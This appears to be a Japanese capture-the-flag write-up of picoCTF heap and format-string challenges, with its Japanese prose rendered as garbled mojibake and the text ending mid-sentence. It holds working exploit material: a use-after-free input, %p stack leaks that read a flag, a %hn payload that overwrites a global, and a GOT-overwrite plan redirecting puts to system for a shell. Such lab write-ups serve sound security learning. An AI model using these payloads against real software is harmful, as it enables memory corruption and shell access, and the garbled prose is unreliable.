mallocé¢æ°ã®åºæ¬çãªä»çµã¿ã¨ãã¦ããã¼ãé åã¯ãã£ã³ã¯ã¨ãããããã¯ã§ç®¡çããã¦ãã¦ãæå°ã®ãã£ã³ã¯ã 0x20ï¼32byteï¼ã0x10ï¼16byteï¼åä½ã«ãªã£ã¦ãã¾ããtcache bins ã¯ã解æ¾ããããã£ã³ã¯ã®ãµã¤ãºã®ç¨®é¡ã¨ãã¦ã0x20 ãã 0x410ï¼1040byteï¼ã¾ã§ã0x10 å»ã¿ã§ 64種é¡ãããããããã®ãµã¤ãºãã¨ã« 7åã¾ã§ä¿æã§ããããã«ãªã£ã¦ããããã§ãã
ä»åã®å ´åãobjectæ§é ä½ã®é åã解æ¾ããã®ã§ãtcache bins ã«ãã®é åãç»é²ããã¦ããã¯ãã§ãã次㫠mallocé¢æ°ã§åããµã¤ãºãè¦æ±ããã¨ã解æ¾ãããé åãåå©ç¨ãããã¯ãã§ãã
ã¾ããobjectæ§é ä½ã®ãµã¤ãºãæ£ç¢ºã«ç¥ãããã«ãGDB ã§ç¢ºèªãã¾ããä»åãããgdb-peda ãã GDBæ¡å¼µã® pwndbg ã«å¤æ´ãã¦ãã¾ãã
objectæ§é ä½ã® x ããã³ããã¦ã¿ãã¨ã30byte ã®ãªãã»ããã§ã"bico" ãæ ¼ç´ããã¦ãã¾ãããã¤ã¾ããééãªãæ§é ä½ã®ã¡ã³ãã¯ç¢ºä¿ããã¦ãããã¨ã«ãªãã¾ããã¾ããx ã解æ¾ãããã¨ãpwndbg ã® heapã³ãã³ãã§è¦ãã¨ãtcache bins ã®ãµã¤ãº 0x30ï¼48byteï¼ã«ç»é²ããã¦ãããã¨ã確èªã§ãã¾ããã16byteåä½ã§ãobjectæ§é ä½ã®ãµã¤ãºã¯ 35byte ãªã®ã§ãé å½ã¨è¨ãã¾ãã
pwndbg> p x
$1 = (object *) 0x4056b0
pwndbg> x/40xb 0x4056b0
0x4056b0: 0x05 0x04 0x00 0x00 0x00 0x00 0x00 0x00
0x4056b8: 0x0c 0xff 0xb5 0x9a 0xa4 0xa4 0xbe 0x90
0x4056c0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x4056c8: 0x00 0x00 0x00 0x00 0x00 0x00 0x62 0x69
0x4056d0: 0x63 0x6f 0x00 0x00 0x00 0x00 0x00 0x00
pwndbg> heap -v
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x4056a0
prev_size: 0x00
size: 0x30 (with flag bits: 0x31)
fd: 0x405
bk: 0x90bea4a49ab5ff0c
fd_nextsize: 0x00
bk_nextsize: 0x6962000000000000
次ã«ã35byte ã®ã¡ã¢ãªé åã確ä¿ãã¾ãããã®ç¢ºä¿ããé åã®å
é ã¢ãã¬ã¹ããx ã¨åã 0x4056b0 ã«ãªã£ã¦ãããã¨ãæå¾
ãã¦ãã¾ãã
ã§ã¯ãå®éã« mallocé¢æ°å®è¡å¾ã§ãã¬ã¼ã¯ãã¦ã確èªãã¦ã¿ã¾ãããè¦ã«ããããããã¾ããããmallocé¢æ°ã®æ»ãå¤ã® RAX ã 0x4056b0 ã«ãªã£ã¦ãããã¨ã確èªã§ãã¾ããã
ãã®å¾ã30æåã® "A" 㨠"pico" ãå
¥åãããã¨ã«ããããã©ã°ã表示ã§ãã¾ããã
ã§ã¯ããµã¼ãã«å¯¾ãã¦ãã£ã¦ã¿ã¾ãã
$ nc tethys.picoctf.net 54843
freed but still in use
now memory untracked
do you smell the bug?
1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit
Enter your choice: 5
1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit
Enter your choice: 2
Size of object allocation: 35
Data for flag: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAApico
1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit
Enter your choice: 4
YOU WIN!!11!!
picoCTF{xxx}
ããã§ãã¼ãã·ãªã¼ãºã¯å®äºã§ãã
次ã¯ãformat string ã·ãªã¼ãºã§ãããã¡ããå
¨4åãã£ã¦ãããã2åç®ã§ãã
Medium ã®åé¡ã§ãããã¤ããªãã¡ã¤ã«ï¼format-string-1ï¼ã 1ã¤ã¨ãã½ã¼ã¹ãã¡ã¤ã«ï¼format-string-1.cï¼ã 1ã¤ãã¦ã³ãã¼ãã§ãã¾ããã¾ããã¤ã³ã¹ã¿ã³ã¹ï¼ãµã¼ãï¼ãèµ·åã§ãã¾ãã
ã½ã¼ã¹ã³ã¼ãããformat string 0ãã¨æ¯è¼ãã¾ããããã ãã¶éãã®ã§ãæ®éã«ãã£ã¦ããã¾ãã
表層解æã§ããã¡ã¢ãªå®è¡ç¦æ¢ãããã°ã©ã ã®ã¢ãã¬ã¹ã©ã³ãã åã¯ç¡å¹ã§ãã
$ file format-string-1
format-string-1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=62bc37ea6fa41f79dc756cc63ece93d8c5499e89, for GNU/Linux 3.2.0, not stripped
$ checksec --file=format-string-1
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 41 Symbols No 0 2 format-string-1
ã¾ãå®è¡ãã¦ã¿ã¾ãããã¼ããä»ã«ãã¡ã¤ã«ãå¿
è¦ãªããã§ãã
$ ./format-string-1
'secret-menu-item-1.txt' file not found, aborting.
ã½ã¼ã¹ãèªã¿ã¾ãã
ãã¡ã¤ã«ã 2ã¤å¿
è¦ãããã®ã§ãé©å½ãªæååãæ¸ãããã¡ã¤ã«ãç¨æãã¾ããç¨æãã 1çªç®ã®ãã¡ã¤ã«ãèªã¿åºãã¦ããã¼ã«ã«ã®é
åå¤æ°ã«è¨å®ãã次ã¯ãflag.txt ãèªã¿åºãã¦ããã¼ã«ã«ã®é
åå¤æ°ã«è¨å®ãã¾ãã次ã«ã2çªç®ã®ãã¡ã¤ã«ãèªã¿åºãã¦ããã¼ã«ã«ã®é
åå¤æ°ã«è¨å®ãã¾ããæå¾ã«ãã¦ã¼ã¶å
¥åãæ大 1024æååãåã£ã¦ãããã表示ãã¦çµäºã§ãã
æå¾ã®ã¦ã¼ã¶ãå
¥åããæååã表示ãã¦ãã¨ããã«åé¡ãããããã§ãã
#include <stdio.h>
int main() {
char buf[1024];
char secret1[64];
char flag[64];
char secret2[64];
FILE *fd = fopen("secret-menu-item-1.txt", "r");
if (fd == NULL){
printf("'secret-menu-item-1.txt' file not found, aborting.\n");
return 1;
}
fgets(secret1, 64, fd);
fd = fopen("flag.txt", "r");
if (fd == NULL){
printf("'flag.txt' file not found, aborting.\n");
return 1;
}
fgets(flag, 64, fd);
fd = fopen("secret-menu-item-2.txt", "r");
if (fd == NULL){
printf("'secret-menu-item-2.txt' file not found, aborting.\n");
return 1;
}
fgets(secret2, 64, fd);
printf("Give me your order and I'll read it back to you:\n");
fflush(stdout);
scanf("%1024s", buf);
printf("Here's your order: ");
printf(buf);
printf("\n");
fflush(stdout);
printf("Bye!\n");
fflush(stdout);
return 0;
}
以ä¸ã«ãã¹ã¿ãã¯ã®ç¶æ
ãæ´çãã¾ãã
ã¢ãã¬ã¹ |
ãµã¤ãº |
å
容 |
rbp |
- |
- |
rbp - 0x410 |
0x400 |
buf |
rbp - 0x450 |
0x40 |
secret1 |
rbp - 0x490 |
0x40 |
flag |
rbp - 0x4d0 |
0x40 |
secret2 |
ã§ã¯ãç°¡åã«å®è¡ãã¦ã¿ã¾ããã¦ã¼ã¶ãå
¥åããæååãããã®ã¾ã¾åºåãã¦ãã¾ããæ¸å¼æååæ»æãåºæ¥ããã§ãã
$ ./format-string-1
Give me your order and I'll read it back to you:
AAAA
Here's your order: AAAA
Bye!
ã§ã¯ãæ¸å¼æååæ»æããã¦ã¿ã¾ããx86 ã¨éã£ã¦ãx86-64 ã¯ãå¼æ°ã«ããã¤ãã®ã¬ã¸ã¹ã¿ã使ãããã®å¾ãã¹ã¿ãã¯ã使ãã¾ãããã£ã¦ãçµæ§ãããã %p
ã使ãå¿
è¦ãããããã§ãã
å¾ãã®æ¹ã«ãAAAABBBBï¼0x4242424241414141ï¼ãåºç¾ãã¾ãããprintfé¢æ°ã®å¼æ°ã¨ãã¦ãRDI ã使ãã¾ãã以éã® RSIãRDXãRCXãR8ãR9 ããã¾ã表示ããã¾ãããã®å¾ãã¹ã¿ãã¯ãã¤ã³ã¿ãæãã¦ããã¨ããï¼rbp - 0x4d0ï¼ããã8byteãã¤è¡¨ç¤ºããã¾ããbuf ã¯ãrbp - 0x410 ãªã®ã§ãAAAABBBB ãåºç¾ããã®ã¯ã8byte ã 24å表示ãããå¾ã«ãªãã¾ãããã® 24åï¼0x120 / 8 = 24ï¼ã«ã¯ããã©ã°ãå«ã¾ãã¾ãã
$ echo -e 'AAAABBBB%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p' | ./format-string-1
Give me your order and I'll read it back to you:
Here's your order: AAAABBBB0x402118,(nil),(nil),0x402116,0x7ffff7f9ba80,0x6d2d746572636573,0x6d6574692d756e65,0x7478742e322d,0x3,(nil),0x7ffff7fc3c68,0x9,(nil),0x7b4654436f636970,0x47414c4647414c46,0x7d47414c46,(nil),0x2,0x7ffff7de9147,0x7ffff7fc34e8,0x7ffff7fc3b60,0x6d2d746572636573,0x6d6574692d756e65,0x7478742e312d,0x7ffff7fd4a48,0x2,0x7ffff7fc3b60,0x1,(nil),0x4242424241414141,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70
Bye!
ãã©ã°ã®ä½ç½®ã¯ã8byte ã 8å表示ãããå¾ãªã®ã§ãã¬ã¸ã¹ã¿ã® 5åã¨åãããã¨ã14åç®ã¨ãããã¨ã«ãªãã¾ãã14åç®ããããã¤ãã ãã表示ãã¦ã¿ã¾ãã
ãã©ã°ãã©ãã¾ã§ç¶ãã¦ãããã¨ããã¨ã3åç®ã¯ 5byteã ããæå¹ï¼æ®ã3byteã¯ã¼ãï¼ãªã®ã§ã3ååã§ãã©ã°ã表ç¾ãã¦ããããã§ãã
$ echo -e 'AAAABBBB%14$p,%15$p,%16$p,%17$p' | ./format-string-1
Give me your order and I'll read it back to you:
Here's your order: AAAABBBB0x7b4654436f636970,0x47414c4647414c46,0x7d47414c46,0x7feb6fdb7b60
Bye!
ãã©ã°ã¯ã0x7b4654436f636970,0x47414c4647414c46,0x7d47414c46,
ã§ãã
ãã¨ã¯ãPython ã§è¡¨ç¤ºããã ãã§ãã
$ python -c 'import struct; print(struct.pack("<QQQ",0x7b4654436f636970,0x47414c4647414c4
6,0x7d47414c46))'
b'picoCTF{FLAGFLAGFLAG}\x00\x00\x00'
ãµã¼ãã§ããåãããã«ããã¨ãã©ã°ãèªãã¾ããã
Medium ã®åé¡ã§ãããã¤ããªãã¡ã¤ã«ï¼vulnï¼ã 1ã¤ã¨ãã½ã¼ã¹ãã¡ã¤ã«ï¼vuln.cï¼ã 1ã¤ãã¦ã³ãã¼ãã§ãã¾ããã¾ããã¤ã³ã¹ã¿ã³ã¹ï¼ãµã¼ãï¼ãèµ·åã§ãã¾ãããã¡ã¤ã«åãçªç¶å¤ããã¾ããã
ããã¾ã§ã®ã½ã¼ã¹ã³ã¼ãã¨ç°ãªãã®ã§ãæ®éã«ãã£ã¦ããã¾ãã表層解æã§ããã¡ã¢ãªå®è¡ãç¦æ¢ã§ãããã°ã©ã ã®ã¢ãã¬ã¹ã®ã©ã³ãã åã¯ç¡å¹ã§ãã
$ file vuln
vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=dfe923d97df1df729249ff21202d10ad15d45f4c, for GNU/Linux 3.2.0, not stripped
$ checksec --file=vuln
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 42 Symbols No 0 2 vuln
ã½ã¼ã¹ã³ã¼ããè¦ã¦ã¿ã¾ãã
ãformat string 1ãã¨ã¡ãã£ã¨ä¼¼ã¦ã¾ããããã¯ããããããæ¸å¼æååæ»æã§æ¸ãè¾¼ããã¤ã§ããã
#include <stdio.h>
int sus = 0x21737573;
int main() {
char buf[1024];
char flag[64];
printf("You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n");
fflush(stdout);
scanf("%1024s", buf);
printf("Here's your input: ");
printf(buf);
printf("\n");
fflush(stdout);
if (sus == 0x67616c66) {
printf("I have NO clue how you did that, you must be a wizard. Here you go...\n");
FILE *fd = fopen("flag.txt", "r");
fgets(flag, 64, fd);
printf("%s", flag);
fflush(stdout);
}
else {
printf("sus = 0x%x\n", sus);
printf("You can do better!\n");
fflush(stdout);
}
return 0;
}
ã°ãã¼ãã«å¤æ°ã® sus ã®ã¢ãã¬ã¹ãæ±ãã¾ãã
$ nm vuln | grep sus
0000000000404060 D sus
buf ã®ä½ç½®ã確èªããããã«ããããã %p ãå
¥ãã¾ãã
14åç®ã buf ã§ãããã¬ã¸ã¹ã¿ã 5ååã¨ãflag ã®é åã 64byte ãªã®ã§ã8ååããããã§ãã
$ ./vuln
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
AAAABBBB%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p
Here's your input: AAAABBBB0x402075,(nil),(nil),0x402073,0x7fb70aae3a80,0x2,0x7fb70ab0bb60,0x1,(nil),0x1,0x7fb70ab0b160,0x7fff64eab9b8,0x7fff64eab9c0,0x4242424241414141,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x70252c,0x7fb70ab0b160,0xd,0x7fb70aae3198,0x7fff64eabeb8,0x403e18,0x7fb70ab3f020,0x7fb70ab1cebe,0x1
sus = 0x21737573
You can do better!
AAAABBBB ã®ã¨ããããsus ã®ã¢ãã¬ã¹ã«å¤ãã¦ã¿ã¾ããAAAABBBB ãã sus ã®ã¢ãã¬ã¹ã«å¤ãã¦ãæå¾
éãã«è¡¨ç¤ºããããã確èªãã¦ã¿ã¾ãã
æã£ãéãã«ã¯ããã¾ããã§ãããéä¸ã§ã¼ããå
¥ããããprintfé¢æ°ã¯ãæååã¨ãã¦ãå
é ã®3byteã ããèªèããããã§ãã
$ echo -e '\x60\x40\x40\x00\x00\x00\x00\x00%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p' | ./vuln
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
Here's your input: `@@
sus = 0x21737573
You can do better!
å°ãã¾ãããã»ãã¥ãªãã£ã³ã³ãã¹ããã£ã¬ã³ã¸ããã¯ã«ããã¼ããå
¥ã£ãå ´åã®èª¬æã¯ããã¾ããããã¼ããã§ã¯ãã¼ããå«ãã¢ãã¬ã¹ã¯ã15çªç®ã«ãã¦ã14çªç®ã¯ã15çªç®ã表示ããå
容ã«ããã°ããããã§ããã¤ã¾ãã%p 㨠ã¢ãã¬ã¹ã®æå®ãå
¥ãæ¿ããã¨ãããã¨ã§ãã
æå¾
éãã®è¡¨ç¤ºãåºåããã¾ããã
$ echo -e '%15$pAAA\x60\x40\x40\x00\x00\x00\x00\x00' | ./vuln
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
Here's your input: 0x404060AAA`@@
sus = 0x21737573
You can do better!
%p
ã %s
ã«å¤æ´ãã¦ãã¢ãã¬ã¹ã®å
ã®å¤ãè¦ã«è¡ãã¾ãã
å¤ãªã®ã§ãhexdumpã³ãã³ãã§è¦ã¾ãã00000070
ã®è¡ã®å¾ãã®æ¹ã«ã20
ï¼ã¹ãã¼ã¹ï¼ã®æ¬¡ãããã%15s
ã®åºåã§ãã73 75 73 21
ï¼0x21737573ï¼ãåç
§ã§ãã¦ãã¾ãã
$ echo -e '%15$sAAA\x60\x40\x40\x00\x00\x00\x00\x00' | ./vuln
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
Here's your input: sus!AAA`@@
sus = 0x21737573
You can do better!
$ echo -e '%15$sAAA\x60\x40\x40\x00\x00\x00\x00\x00' | ./vuln | hexdump -C
00000000 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 77 |You don't have w|
00000010 68 61 74 20 69 74 20 74 61 6b 65 73 2e 20 4f 6e |hat it takes. On|
00000020 6c 79 20 61 20 74 72 75 65 20 77 69 7a 61 72 64 |ly a true wizard|
00000030 20 63 6f 75 6c 64 20 63 68 61 6e 67 65 20 6d 79 | could change my|
00000040 20 73 75 73 70 69 63 69 6f 6e 73 2e 20 57 68 61 | suspicions. Wha|
00000050 74 20 64 6f 20 79 6f 75 20 68 61 76 65 20 74 6f |t do you have to|
00000060 20 73 61 79 3f 0a 48 65 72 65 27 73 20 79 6f 75 | say?.Here's you|
00000070 72 20 69 6e 70 75 74 3a 20 73 75 73 21 41 41 41 |r input: sus!AAA|
00000080 60 40 40 0a 73 75 73 20 3d 20 30 78 32 31 37 33 |`@@.sus = 0x2173|
00000090 37 35 37 33 0a 59 6f 75 20 63 61 6e 20 64 6f 20 |7573.You can do |
000000a0 62 65 74 74 65 72 21 0a |better!.|
000000a8
%s
ã %n
ã«å¤ãã¦ãã°ãã¼ãã«å¤æ° sus ã®å¤ãæ¸ãæãã¾ãã
æå¾
éãã®æ¸ãæããåºæ¥ã¾ãããå
é ã« %15$n
ãç½®ããã¨ãã¯ãããã¾ã§ã«åºåããæ°ãã¼ããªã®ã§ãsus ã¯ã¼ãã«æ¸ãæããã¾ãããæåã« 3æåã® A ãç½®ãã¨ãsus 㯠3 ã«æ¸ãæããã¾ããã
$ echo -e '%15$nAAA\x60\x40\x40\x00\x00\x00\x00\x00' | ./vuln
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
Here's your input: AAA`@@
sus = 0x0
You can do better!
$ echo -e 'AAA%15$n\x60\x40\x40\x00\x00\x00\x00\x00' | ./vuln
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
Here's your input: AAA`@@
sus = 0x3
You can do better!
ãã¨ã¯ããã®å¤ã 0x67616c66
ã«æ¸ãæããã°ãããã¨ãããã¨ã«ãªãã¾ããå¤ã大ããã®ã§ã2åã«åãã¾ããå¤ã®å¤§ããæ¹ããå
ã«æ¸ãæãã¾ãï¼æåæ°ã®ã«ã¦ã³ãã¯ç¶ç¶ããããï¼ãæåã«ãä¸ä½16bitã 0x6761
ï¼26,465ï¼ã«æ¸ãæãã¾ãã次ã«ãsus ã®ä¸ä½16bitã 0x6c66
ï¼27,750ï¼ã«æ¸ãæãã¾ããå·®ã¯ã27750-26465=1285
ã§ãã
ã¢ãã¬ã¹ã« 0 ãå«ããããå
ã«æ¸å¼ãæ¸ãå¿
è¦ãããã¾ããå¾ãã«ã¯ 0 ãå«ã¿ã¾ããã表示ãã¦ã»ããã®ã¯ååã® AAAA ã®åã¾ã§ãªã®ã§ãåé¡ããã¾ããã
ç¡äºããã©ã°ã表示ããã¾ããã
$ echo -e '%26465c%18$hn%1285c%19$hnAAAAAAA\x62\x40\x40\x00\x00\x00\x00\x00\x60\x40\x40\x00\x00\x00\x00\x00' | ./vuln
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
Here's your input:
ï¼éä¸ãçç¥ï¼
AAAAAAAb@@
I have NO clue how you did that, you must be a wizard. Here you go...
picoCTF{FLAGFLAGFLAG}
åããã¨ããµã¼ãã§å®è¡ããã¨ããã©ã°ã表示ããã¾ããã
format stringã·ãªã¼ãºã®æå¾ã®åé¡ã§ãã
Medium ã®åé¡ã§ãããã¤ããªãã¡ã¤ã«ï¼format-string-3ï¼ã 1ã¤ã¨ãã½ã¼ã¹ãã¡ã¤ã«ï¼format-string-3.cï¼ã 1ã¤ã¨ãlibcï¼libc.so.6ï¼ã¨ãåçãªã³ã«ï¼ld-linux-x86-64.so.2ï¼ããã¦ã³ãã¼ãã§ãã¾ããã¾ããã¤ã³ã¹ã¿ã³ã¹ï¼ãµã¼ãï¼ãèµ·åã§ãã¾ãã
表層解æããè¡ãã¾ããã¹ã¿ãã¯ã«ããªã¤ãæå¹ã§ãã¡ã¢ãªå®è¡å¯è½ã§ãã追å 㧠lddã³ãã³ããå®è¡ãã¾ããããã¦ã³ãã¼ããã libc 㨠ld-linux ã使ãããããã§ãï¼libc ã¯ããã§ãããld-linux ã¯è¡¨ç¤ºãå°ãããããï¼ï¼ã
$ file format-string-3
format-string-3: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=54e1c4048a725df868e9a10dc975a46e8d8e5e92, not stripped
$ checksec --file=format-string-3
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX disabled No PIE No RPATH RW-RUNPATH 44 Symbols No 0 2 format-string-3
$ ldd format-string-3
linux-vdso.so.1 (0x00007ffea8767000)
libc.so.6 => ./libc.so.6 (0x00007fbb84dec000)
./ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007fbb84fd0000)
ã½ã¼ã¹ã³ã¼ããè¦ã¦ã¿ã¾ãããã©ã°ã®è¡¨ç¤ºãããã¾ããããã·ã§ã«ãåå¾ããåé¡ã ã¨æãã¾ããæ¸å¼æååæ»æã§ãæå¾ã® putsé¢æ°ã systemé¢æ°ã«ç½®ãæãããã¨ãåºæ¥ãã°è¯ãããã§ãããputsé¢æ°ã®å¼æ°ã /bin/sh
ã«ãã¦ããã¦ã¾ããã
#include <stdio.h>
#define MAX_STRINGS 32
char *normal_string = "/bin/sh";
void setup() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
void hello() {
puts("Howdy gamers!");
printf("Okay I'll be nice. Here's the address of setvbuf in libc: %p\n", &setvbuf);
}
int main() {
char *all_strings[MAX_STRINGS] = {NULL};
char buf[1024] = {'\0'};
setup();
hello();
fgets(buf, 1024, stdin);
printf(buf);
puts(normal_string);
return 0;
}
putsé¢æ°ã®ã¢ãã¬ã¹ãç¥ãå¿
è¦ãããã¾ãããASLR ã®ãããäºåã«ã¯å¾ããã¾ãããsetvbufé¢æ°ã®ã¢ãã¬ã¹ãæ¯åå¤åãã¾ãããã¢ãã¬ã¹ã表示ãã¦ããã¦ããã®ã§ãããã使ãã¨ç¸å¯¾çã« systemé¢æ°ã®ã¢ãã¬ã¹ãæ±ã¾ãããã§ãã
ä¸åº¦å®è¡ãã¦ã¿ã¾ãã
$ ./format-string-3
Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x7fbe141303f0
aa
aa
/bin/sh
ã¾ããã¢ãã¬ã¹ã調ã¹ã¾ããsetbufé¢æ°ã® libcå
ã®ç¸å¯¾ã¢ãã¬ã¹ã¯ 0x7a3f0
ã§ãsystemé¢æ°ã® libcå
ã®ç¸å¯¾ã¢ãã¬ã¹ã¯ 0x4f760
ã§ããsetbufé¢æ°ã®çµ¶å¯¾ã¢ãã¬ã¹ã表示ãããã®ã§ãsetbufé¢æ°ã®ç¸å¯¾ã¢ãã¬ã¹ãå¼ãã¨ãlibcã®ãã¼ã¹ã¢ãã¬ã¹ãæ±ã¾ãã¾ããsystemé¢æ°ã®ç¸å¯¾ã¢ãã¬ã¹ã足ãã¨ãsystemé¢æ°ã®çµ¶å¯¾ã¢ãã¬ã¹ãæ±ã¾ãã¾ãã
$ nm -D libc.so.6 | grep setvbuf
000000000007a3f0 T _IO_setvbuf@@GLIBC_2.2.5
000000000007a3f0 W setvbuf@@GLIBC_2.2.5
$ nm -D libc.so.6 | grep system
000000000004f760 T __libc_system@@GLIBC_PRIVATE
000000000014e1c0 T svcerr_systemerr@GLIBC_2.2.5
000000000004f760 W system@@GLIBC_2.2.5
GDB ã§ã¢ã»ã³ãã©ã確èªãã¾ãã
RSP + 0x100ï¼rbp - 0x410ï¼ã®ã¢ãã¬ã¹ã buf ã«ä½¿ã£ã¦ããããã§ããã¤ã¾ããã¬ã¸ã¹ã¿ 5å 㨠8byte ã 32åï¼0x100 / 8 = 32ï¼ã§ãè¨37åãªã®ã§ã38çªç®ã« buf ãåºç¾ããã¯ãã§ãã
pwndbg> nearpc 20
⺠0x40124b <main+8> sub rsp, 0x510 RSP => 0x7fffffffe120 - 0x510
0x401252 <main+15> mov rax, qword ptr fs:[0x28] RAX, [0x7ffff7ddd768]
0x40125b <main+24> mov qword ptr [rbp - 8], rax
0x40125f <main+28> xor eax, eax EAX => 0
0x401261 <main+30> lea rdx, [rbp - 0x510]
0x401268 <main+37> mov eax, 0 EAX => 0
0x40126d <main+42> mov ecx, 0x20 ECX => 0x20
0x401272 <main+47> mov rdi, rdx
0x401275 <main+50> rep stosq qword ptr [rdi], rax
0x401278 <main+53> mov qword ptr [rbp - 0x410], 0
0x401283 <main+64> mov qword ptr [rbp - 0x408], 0
0x40128e <main+75> lea rdx, [rbp - 0x400]
0x401295 <main+82> mov eax, 0 EAX => 0
0x40129a <main+87> mov ecx, 0x7e ECX => 0x7e
0x40129f <main+92> mov rdi, rdx
0x4012a2 <main+95> rep stosq qword ptr [rdi], rax
0x4012a5 <main+98> mov eax, 0 EAX => 0
0x4012aa <main+103> call setup <setup>
0x4012af <main+108> mov eax, 0 EAX => 0
0x4012b4 <main+113> call hello <hello>
0x4012b9 <main+118> mov rdx, qword ptr [rip + 0x2db0] RDX, [stdin@GLIBC_2.2.5]
0x4012c0 <main+125> lea rax, [rbp - 0x410]
0x4012c7 <main+132> mov esi, 0x400 ESI => 0x400
0x4012cc <main+137> mov rdi, rax
0x4012cf <main+140> call fgets@plt <fgets@plt>
(以éãå²æï¼
ãã£ã¦ã¿ã¾ããåã£ã¦ããããã§ãã
$ ./format-string-3
Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x7f6baf1d03f0
AAAABBBB,%38$p
AAAABBBB,0x4242424241414141
/bin/sh
ãã¨ã¯ãputsé¢æ°ã® GOT ã調ã¹ã¾ãã0x404018
ã§ããã
$ readelf -r format-string-3
Relocation section '.rela.dyn' at offset 0x15d8 contains 6 entries:
Offset Info Type Sym. Value Sym. Name + Addend
000000403fe8 000100000006 R_X86_64_GLOB_DAT 0000000000000000 __libc_start_main@GLIBC_2.34 + 0
000000403ff0 000600000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0
000000403ff8 000800000006 R_X86_64_GLOB_DAT 0000000000000000 setvbuf@GLIBC_2.2.5 + 0
000000404060 000700000005 R_X86_64_COPY 0000000000404060 stdout@GLIBC_2.2.5 + 0
000000404070 000900000005 R_X86_64_COPY 0000000000404070 stdin@GLIBC_2.2.5 + 0
000000404080 000a00000005 R_X86_64_COPY 0000000000404080 stderr@GLIBC_2.2.5 + 0
Relocation section '.rela.plt' at offset 0x1668 contains 4 entries:
Offset Info Type Sym. Value Sym. Name + Addend
000000404018 000200000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
000000404020 000300000007 R_X86_64_JUMP_SLO 0000000000000000 __stack_chk_fail@GLIBC_2.4 + 0
000000404028 000400000007 R_X86_64_JUMP_SLO 0000000000000000 printf@GLIBC_2.2.5 + 0
000000404030 000500000007 R_X86_64_JUMP_SLO 0000000000000000 fgets@GLIBC_2.2.5 + 0
pwndbg ã®å ´åã¯ãgotã³ãã³ãã使ãã¾ãã楽ã¡ãã§ãã
pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)
State of the GOT of /home/user/svn/experiment/picoCTF/picoCTF2024_BinaryExploitation/format-string-3:
GOT protection: Partial RELRO | Found 4 GOT entries passing the filter
[0x404018] puts@GLIBC_2.2.5 -> 0x401030 ââ endbr64
[0x404020] __stack_chk_fail@GLIBC_2.4 -> 0x401040 ââ endbr64
[0x404028] printf@GLIBC_2.2.5 -> 0x401050 ââ endbr64
[0x404030] fgets@GLIBC_2.2.5 -> 0x401060 ââ endbr64
æ
å ±ã¯æã£ãã®ã§ãpwntools ã使ã£ã¦å®è£
ãã¦ããã¾ãã
pwntools ã«ã¯ãfmtstr_payload ã¨ããæ¸å¼æååæ»æãèªååãã便å©ãªé¢æ°ãç¨æããã¦ããããã§ããä»åã¯ããã使ã£ã¦ã¿ã¾ããã¡ãã£ã¨ç·´ç¿ãã¦ã¿ã¾ãã
ã¾ããç·´ç¿ã¨ãã¦ãã°ãã¼ãã«å¤æ°ã® normal_string ãæ¸ãæãã¦ã¿ã¾ããã¢ãã¬ã¹ã調ã¹ã¾ãã
$ nm format-string-3 | grep normal_st
0000000000404048 D normal_string
gdb-peda$ x/1xg 0x404048
0x404048 <normal_string>: 0x0000000000402008
gdb-peda$ x/1s 0x402008
0x402008: "/bin/sh"
- 第1å¼æ° offsetï¼ãªãã»ãããä»å㯠38 ã§ã
